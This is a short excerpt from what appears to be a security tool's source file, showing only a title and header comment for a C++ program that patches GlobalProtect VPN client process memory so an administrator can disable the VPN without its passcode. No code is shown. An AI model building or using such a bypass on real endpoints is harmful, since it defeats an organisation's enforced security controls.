Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode.

GlobalProtectDisable.cpp

/*
 * Global Protect VPN Application patcher allowing the 
 * Administrator user to disable VPN without Passcode.
 *
 * It does this by patching process memory and thus allowing to 
 * disable VPN without entering proper password.
 * 
 * Tested on: 
 *	GlobalProtect client 3.1.6.19
 *	Palo Alto Networks
